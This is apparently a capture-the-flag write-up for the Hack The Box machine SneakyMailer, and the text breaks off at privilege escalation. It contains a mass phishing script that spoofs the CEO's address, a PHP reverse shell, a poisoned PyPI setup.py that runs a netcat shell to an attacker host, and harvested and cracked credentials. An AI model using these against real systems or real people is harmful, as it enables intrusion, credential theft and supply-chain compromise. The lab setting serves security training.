Hack The Box Write-Up SneakyMailer - 10.10.10.197
Never interrupt your enemy when he is making mistakes
Napoleon Bonaparte
About SneakyMailer
In this post, I’m writing a write-up for the machine SneakyMailer from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
SneakyMailer is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15 and submitting the root flag you points will be raised by 30.
Foothold
After reviewing the results of the first port scan I come to the conclusion that this box fulfills the mail server and a web server functionality. Through the team page of http://sneakycorp.htb
, I found the email address of the CEO Angelica Ramos. The SMTP-service is an open relay (authentication is not enabled) and because VRFY
is enabled, I’m able to determine the existence of the e-mail addresses. From the team members’ page, I have created a list of e-mail addresses. I write a Python script and spoofed the e-mail address from the CEO and I’ve sent a crafted phishing e-mail to all of the team members. Paul Byrd bites and passes on his username and password.
User
With the credentials of Paul Byrd, I’m able to authenticate against IMAP
. I’ve read two e-mail messages from Paul to low with a request to change the password of the user account developer
. With this password, I’m able to authenticate to the FTP-service. Through the FTP-service I found the dev
directory which contains the contents of a webpage. After some further enumeration, I found that the subdomain dev.sneakycorp.htb
website is pointing to the dev
directory. I uploaded a reverse shell to this folder and I was able to get a reverse shell as the user www-data
.
On the box in the /var/www
directory, I found that there is another virtual host running on the webserver with the name pypi.sneakycorp.htb
, running on the tcp/8080
port. From the .htpasswd file, I found the username and password from the pypi user account. With this account, I’m able to authenticate to the PyPi-service. I jumped to the user developer
.
After putting the pieces together I found that I have to build a package for the PyPi service. I’ve build a malicious package which contains a reverse shell. After registering the package and reverse shell as the user account low
was established.
Root
The user account low
has the privileges to run /usr/bin/pip3
with root privileges. I found the steps to the privilege escalation on the GTFOBins website to break out the restricted environment to spawn a shell as root.
Machine Info
Machine Name: | SneakyMailer |
Difficulty: | Medium |
Points: | 30 |
Release Date: | 11 Jul 2020 |
IP: | 10.10.10.197 |
Creator: | sulcud |
Recon
Port scan with Nmap
As always I start the box with a port scan with Nmap.
1
~$ nmap -sC -sV -oA ./nmap/10.10.10.197 10.10.10.197
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-14 15:35 CEST
Nmap scan report for 10.10.10.197
Host is up (0.071s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: CAPABILITY SORT IDLE completed ACL OK STARTTLS UTF8=ACCEPTA0001 ENABLE NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES ACL2=UNION IMAP4rev1 UIDPLUS CHILDREN QUOTA
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: CAPABILITY SORT IDLE completed ACL OK UTF8=ACCEPTA0001 QUOTA ENABLE NAMESPACE AUTH=PLAIN THREAD=REFERENCES ACL2=UNION IMAP4rev1 UIDPLUS CHILDREN THREAD=ORDEREDSUBJECT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.85 seconds
There are a lot of open ports. According to the open ports, I’m dealing with a e-mail server and web server.
Mail server service ports
This box is running a mail service. I found the SMTP-port, which is tcp/25
. I noticed something odd about this service. It seems that the VRFY
verb is enabled. The VRFY
(verify) command checks for the existence of a user ID on the mail server. This is typically disabled on the server because it could potentially allow an outsider to check for valid user IDs, which often correlate to internal usernames. I can use this to my advantage.
There are two IMAP-ports visible, port 143/tcp
(non-secured IMAP) and tcp/993
(secured IMAP). This service is giving me the ability to read email messages if I can authenticate with valid credentials.
Webserver
I got the ports 80/tcp
(HTTP) and the 8080/tcp
(alternative HTTP) open on this box. The Nginx version 1.14.2 is not the latest version and it is containing some vulnerability’s, maybe I can use this to my advantage?
FTP-service It’s not default to have this service enabled on a server. I need to find credentials to authenticate to this service. According to the Nmap results, anonymous authentication is disabled. Some developers are enabling this service for development purposes, so that they can easily upload files.
Enumeration
Enumeration Web Server
I visited the webpage http://sneakycorp.htb
. I’ve noticed that I’m already logged in as the user You
. From the Team page, I have a lot of team members with their names, positions and email addresses. I’ve checked the source code from the homepage and found that there is a registration page on http://sneakymailer.htb/pypi/register.php
.
I have checked the registration page, and I’m able to register new users. I have registered a user account with some credentials, but there is no login page. I have tried to logout but that’s also not possible.
From the Team members page, I noticed that there is a user account from Angelica Ramos, she is the Chief Executive Officer (CEO). I created an account with here email address and as there is no login page, I tried with curl and with the created username and password, but get no useful information.
I have got some email addresses, let’s jump to the other service.
Enumeration SMTP Service
As the SMTP port 25/tcp
is open, I can establish an connection with telnet to this service. When the connection is established I can send commands to the email service to start the enumeration. First, let’s try to verify if the email address of the CEO exists on the mail server.
When I receive a 250
, 251
or 252
which means that the service has accepted the request and that the email address is valid. Second, authentication is not enabled on this server. So, I can send unauthenticated e-mail messages, this makes this emailserver an open relay.
1
2
3
4
5
6
7
8
9
~$ telnet 10.10.10.197 25
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
220 debian ESMTP Postfix (Debian/GNU)
vrfy [email protected]
252 2.0.0 [email protected]
auth login
503 5.5.1 Error: authentication not enabled
Let’s try to send mail from the email address from the CEO. I have created an HTML message that she have won an iPhone. I have added an hyperlink to the body of the mail. Maybe she clicks on it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ telnet 10.10.10.197 25
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
ehlo sneakycorp.htb
250-debian
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
MAIL FROM: [email protected]
250 2.1.0 Ok
RCPT TO: [email protected]
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
SUBJECT: You won an iPhone!
MIME-Version: 1.0
Content-Type: text/html; charset="ISO-8859-1"
<html>
<head>
<meta http-equiv='content-type' content='text/html; charset=ISO-8859-1'>
</head>
<body>
<p>Hi Angelica,</p>
<p>You have won an iPhone! <a href="http://10.10.14.33:8000/test.txt">Click here</a> to rec
eive the phone.</p><p>KR,</pr><p>Apple Netherlands</p>
</body>
</html>
.
250 2.0.0 Ok: queued as 91FED2466B
I can send the email message but Angelica is not clicking on the hyperlink. I got a bunch of other users with email addresses, so let’s try to create a phishing email message and send it to them all.
Intrusion
Phishing attack
I’ve created a phish e-mail message with Python by spoofing the email address from the CEO. I’ve added a payload in the body of the email message. On my attacker machine, I’ve opened a Netcat listener on port 4444/tcp
. If a user is clicking on the link, I will sit there, waiting with my listener.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import smtplib
import email.message
import email.utils
emailaddresses = open('./users.txt')
def send_email(sender, send_to):
msg = email.message.Message()
msg['From'] = sender
msg['To'] = send_to
msg['Subject'] = "You've won an iPhone!"
msg.add_header('Content-Type', 'text')
msg.set_payload("http://10.10.14.33:4444")
smtp_obj = smtplib.SMTP("sneakymailer.htb", "25")
smtp_obj.sendmail(msg['From'], [msg['To']], msg.as_string())
smtp_obj.quit()
for recipient in emailaddresses:
try:
send_email("[email protected]", recipient)
print('[+] Message successful send to ' + recipient)
except:
print('[-] Unable to send message to ' + recipient)
I’ve started a listener on my machine on port 4444/tcp
.
1
netcat -lvvp 4444
Let’s start the phishing attack by sending every employee the crafted email message with my Python script. The messages are being send.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
~$ python3 spoof_email.py
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
[+] Message successful send to [email protected]
I’m sitting with my listener and waits if some fish is taking a bite. And yes, I got bate! The user Paul Byrd ([email protected]) kicks in the phishing email and has clicked the link and left his username and password. Let’s start the phishing attack by sending every employee the crafted email message with my Python script.
1
2
3
4
5
6
7
8
9
10
11
12
~$ netcat -lvvp 4444
Connection from 10.10.10.197:43044
POST / HTTP/1.1
Host: 10.10.14.33:4444
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
I have an URL encoded password. With the use of the website https://www.url-encode-decode.com, I decoded the password. I save the credentials to my creds.txt
file.
1
[email protected]:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
I tried to use this credentials on the FTP-service and on SSH, but that’s not working. But, I still have the IMAP service, let me give it a try.
Enumeration IMAP
I now have the credentials of a user account. This means I have to start the enumeration of the services again, to see if I can access this box on the behalf of Paul Byrd. I start with the IMAP on port 143, the unencrypted port for the IMAP-service.
1
2
3
4
5
6
7
8
~$ telnet 10.10.10.197 143
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information.
01 LOGIN paulbyrd "^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht"
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
01 OK LOGIN Ok.
I’m authenticated as Paul Byrd now. Let’s try to list the folders in his account.
1
2
3
4
5
6
7
a2 list "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
a2 OK LIST completed
I’ve connected to his Inbox
.
1
2
3
4
5
6
7
8
a3 select INBOX
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a3 OK [READ-WRITE] Ok
The are no email messages in his Inbox, let’s try the Sent Items
.
1
2
3
01 STATUS INBOX (MESSAGES)
* STATUS "INBOX" (MESSAGES 0)
01 OK STATUS Completed.
There are two Sent Items
listed.
1
2
3
4
5
6
7
8
a4 select "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a4 OK [READ-WRITE] Ok
Fetch the Sent Items
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
a5 FETCH 1:2 (BODY[HEADER])
* 1 FETCH (BODY[HEADER] {279}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <[email protected]>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"
)
* 2 FETCH (BODY[HEADER] {419}
To: low@debian
From: Paul Byrd <[email protected]>
Subject: Module testing
Message-ID: <[email protected]>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
)
a5 OK FETCH completed.
The last part… read the contents of the Sent Items
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a6 fetch 1:2 (BODY[1])
* 1 FETCH (BODY[1] {196}
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
)
* 2 FETCH (BODY[1] {166}
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
a6 OK FETCH completed.
Boom! Found credentials. I add these to the creds.txt
file on my machine.
1
2
[email protected]:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
FTP Service
Got credentials of the account developer
. Let’s jump to the FTP-service!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
~$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:madij): developer
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jul 20 16:03 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 19:52 css
drwxr-xr-x 2 0 0 4096 May 26 19:52 img
-rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php
drwxr-xr-x 3 0 0 4096 May 26 19:52 js
drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi
drwxr-xr-x 4 0 0 4096 May 26 19:52 scss
-rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php
drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor
226 Directory send OK.
ftp>
I downloaded all of the files recursively and I have read through the files. I’ve not found anything useful.
1
wget -r --user="developer" --password="m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C" ftp://sneakycorp.htb/
Reverse shell as www-data
Let’s craft an reverse shell. I used the PHP Reverse Shell from this page: http://pentestmonkey.net/tools/php-reverse-shell. I only have to edit line 49 and line 50.
1
2
3
4
5
6
7
8
9
10
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.33'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
I have uploaded the reverse shell to the dev
folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:madij): developer
331 Please specify the password.
Password:
230 Login successful.
ftp> cd dev
250 Directory successfully changed.
ftp> put revshell.php
227 Entering Passive Mode (10,10,10,197,213,212).
150 Ok to send data.
226 Transfer complete.
79 bytes sent in 0,000166 seconds (465 kbytes/s)
ftp> ls
227 Entering Passive Mode (10,10,10,197,102,120).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 19:52 css
drwxr-xr-x 2 0 0 4096 May 26 19:52 img
-rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php
drwxr-xr-x 3 0 0 4096 May 26 19:52 js
drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi
--wxrw-rw- 1 1001 1001 79 Jul 20 16:41 revshell.php
drwxr-xr-x 4 0 0 4096 May 26 19:52 scss
-rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php
drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor
226 Directory send OK.
ftp>
Tried to get a reverse shell, but for some reason, the file isn’t there. I tried also through the 8080 port but also not find anything.
I checked the index.php
. file, this file in the FTP directory is slightly different than the homepage. Maybe there is running another website on this box? Maybe on a different (sub)domain? Hmm…
Let’s try to check for subdomains. I used Wfuzz to fuzz for subdomains.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ wfuzz -c -w /Users/madij/htb/wordlists/wfuzz/general/common.txt --hc=301,403,404 -H "Host: FUZZ.sneakycorp.htb" http://sneakycorp.htb
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.6 - The Web Fuzzer *
********************************************************
Target: http://sneakycorp.htb/
Total requests: 949
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000256: 200 340 L 989 W 13737 Ch "dev"
Total time: 4.249761
Processed Requests: 949
Filtered Requests: 948
Requests/sec.: 223.3066
Found the dev.sneakycorp.htb
as subdomain is existed on this box. Uploaded the reverse shell again, because an script or something on this box has removed the script. Maybe AV? I hope not, it will make the box more difficult. However, I uploaded the shell again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:madij): developer
331 Please specify the password.
Password:
230 Login successful.
ftp> cd dev
ftp> put revshell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5687 bytes sent in 0,00112 seconds (4,86 Mbytes/s)
ftp>
Launch the reverse shell.
Got the reverse shell as www-data
!
1
2
3
4
5
6
7
8
Connection from 10.10.10.197:50928
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
17:05:25 up 1:10, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@sneakymailer:/$
Checked the user accounts in home
. The user account low
and vmail
are existing on this box. let’s focus on the user low
.
1
2
3
4
5
6
7
8
9
10
11
www-data@sneakymailer:/$ ls
ls
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
www-data@sneakymailer:/$ cd home
cd home
www-data@sneakymailer:/home$ ls
ls
low vmail
There are running multiple virtual hosts on the web server.
1
2
3
4
5
6
www-data@sneakymailer:~$ cd /var/www
cd /var/www
www-data@sneakymailer:~$ ls
ls
dev.sneakycorp.htb html pypi.sneakycorp.htb sneakycorp.htb
www-data@sneakymailer:~$
Working with PyPi
I have checked the http://pypi.sneakycorp:8080
webpage and I got redirected to an different looking webpage with an PyPi-service.
From this point I’ve remembered the e-mail what I’ve found. Low has an task to do.
1
2
3
Hello low,
Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
I clicked on the URL for the complete list of all packages, then I received a loginpage to fill in a username and password. I have tried the combinations I already have, but they are not successful.
Maybe there is an .htpasswd
file? And it is…
1
2
3
4
5
6
7
8
9
10
11
12
www-data@sneakymailer:~/pypi.sneakycorp.htb$ ls -al
ls -al
total 20
drwxr-xr-x 4 root root 4096 May 15 14:29 .
drwxr-xr-x 6 root root 4096 May 14 18:25 ..
-rw-r--r-- 1 root root 43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jul 23 15:27 packages
drwxr-xr-x 6 root pypi 4096 May 14 18:25 venv
www-data@sneakymailer:~/pypi.sneakycorp.htb$ cat .htpasswd
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
www-data@sneakymailer:~/pypi.sneakycorp.htb$
Cracked the password with John.
1
2
3
4
5
6
7
8
9
10
11
$ sudo john pypi-hash -wordlist=../../wordlists/rockyou.txt
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui (?)
1g 0:00:04:18 100% 0.003869g/s 13979p/s 13979c/s 13979C/s soufianeelhaoui..soufiane1986
Use the "--show" option to display all of the cracked passwords reliably
Session completed
~$ john pypi-hash --show
?:soufianeelhaoui
1 password hash cracked, 0 left
Logged in with the username pypi
and the password soufianeelhaoui
, and there are no packages visible.
Lateral Movement
Jump to developer
And all of a sudden the question pops into my head? Why am I still working with the user account www-data
? Have I tried to dump to the user account developer
? No, I haven’t. So, let me try that and it works!
1
2
3
4
www-data@sneakymailer:~$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
developer@sneakymailer:~$
Things are not changing, I have to do something with the PyPi-service. I have to create an package.
Exploitation
Building PyPi Package
I have never heard from the PyPi application before, so I have to check out the purpose of this application and how to use it. I found on the internet that PyPi stands for: The Python Package Index (PyPI). It’s a repository of software for the Python programming language, according to this page. I can build Python packages and distribute the packages with the use of PyPi.
The question now is: How do I have to build a package?
Based on the information on this page https://pypi.org/project/pypiserver/#upload-with-setuptools, I have to create two files:
.pypirc
, this is the authorization file.setup.py
, this is the built script for the setuptools.
Based in the information I have found on that webpage, I’ve built my .pypirc
file.
1
2
3
4
5
6
7
[distutils]
index-servers = local
[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
This is the setup.py
file, with the malicious contents to get the reverse shell as low
. I have first tried to to replace the public key from the user low
with the public key of my attacker account, but for some reason I received an permission denied error? Maybe the user developer
has no permissions to this folder? First, the reverse shell has popped as the user developer
. I got a bit confused. Why as the user developer
? I had assumed that the user low
has to test the package. Through the /etc/passwd
file I found the UID for the user low
and added this check the my script. The reverse shell may only be executed when an user account with the UID equals to 1000 is opening the package.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import setuptools
import os
if os.getuid() == 1000:
os.system('nc -e /bin/bash 10.10.16.101 5555')
setuptools.setup(
name="t13nn3s",
version="0.0.1",
author="Example Author",
author_email="[email protected]",
description="A small example package",
long_description="",
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires='>=3.6',
)
I created the directory tmp/thispackage and make that that current location as my home folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
developer@sneakymailer:/tmp$ mkdir thispackage
mkdir thispackage
developer@sneakymailer:/tmp$ cd thispackage
cd thispackage
developer@sneakymailer:/tmp/thispackage$ wget 10.10.16.101/setup.py
wget 10.10.16.101/setup.py
--2020-07-28 06:07:41-- http://10.10.16.101/setup.py
Connecting to 10.10.16.101:80... failed: Connection refused.
developer@sneakymailer:/tmp/thispackage$ wget 10.10.16.101:8000/setup.py
wget 10.10.16.101:8000/setup.py
--2020-07-28 06:08:47-- http://10.10.16.101:8000/setup.py
Connecting to 10.10.16.101:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 443 [text/plain]
Saving to: ‘setup.py’
setup.py 100%[===================>] 443 --.-KB/s in 0s
2020-07-28 06:08:47 (7.62 MB/s) - ‘setup.py’ saved [443/443]
developer@sneakymailer:/tmp/thispackage$ wget 10.10.16.101:8000/.pypirc
wget 10.10.16.101:8000/.pypirc
--2020-07-28 06:08:59-- http://10.10.16.101:8000/.pypirc
Connecting to 10.10.16.101:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 128 [application/octet-stream]
Saving to: ‘.pypirc’
.pypirc 100%[===================>] 128 --.-KB/s in 0s
2020-07-28 06:09:00 (14.4 MB/s) - ‘.pypirc’ saved [128/128]
developer@sneakymailer:/tmp/thispackage$ chmod 600 .pypirc
chmod 600 .pypirc
developer@sneakymailer:/tmp/thispackage$ HOME=$(pwd)
HOME=$(pwd)
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
creating t13nn3s.egg-info
writing t13nn3s.egg-info/PKG-INFO
writing dependency_links to t13nn3s.egg-info/dependency_links.txt
writing top-level names to t13nn3s.egg-info/top_level.txt
writing manifest file 't13nn3s.egg-info/SOURCES.txt'
reading manifest file 't13nn3s.egg-info/SOURCES.txt'
writing manifest file 't13nn3s.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
creating t13nn3s-0.0.1
creating t13nn3s-0.0.1/t13nn3s.egg-info
copying files to t13nn3s-0.0.1...
copying setup.py -> t13nn3s-0.0.1
copying t13nn3s.egg-info/PKG-INFO -> t13nn3s-0.0.1/t13nn3s.egg-info
copying t13nn3s.egg-info/SOURCES.txt -> t13nn3s-0.0.1/t13nn3s.egg-info
copying t13nn3s.egg-info/dependency_links.txt -> t13nn3s-0.0.1/t13nn3s.egg-info
copying t13nn3s.egg-info/top_level.txt -> t13nn3s-0.0.1/t13nn3s.egg-info
Writing t13nn3s-0.0.1/setup.cfg
creating dist
Creating tar archive
removing 't13nn3s-0.0.1' (and everything under it)
running register
Registering t13nn3s to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/t13nn3s-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
developer@sneakymailer:~$
Got a reverse shell as the user low
! So, the check I’ve built in the script was needed. Now, I can understand the logical behind this. The user account developer and low
are both testing tis package. As I already have an shell as developer, there is a need to builtin the check for the UID.
1
2
3
4
5
6
7
8
9
10
11
12
$ netcat -lvvp 5555
Listening on any address 5555 (personal-agent)
Connection from 10.10.10.197:36020
whoami
low
python -c 'import pty; pty.spawn("/bin/bash")'
low@sneakymailer:/$ cd /home/low
cd /home/low
low@sneakymailer:~$ cat user.txt
cat user.txt
2a08b0e2844dbcf41a961ecd198e93c6
low@sneakymailer:~$
Privilege Escalation
Enumeration
Checked the privileges of low.
1
2
3
4
5
6
7
8
9
10
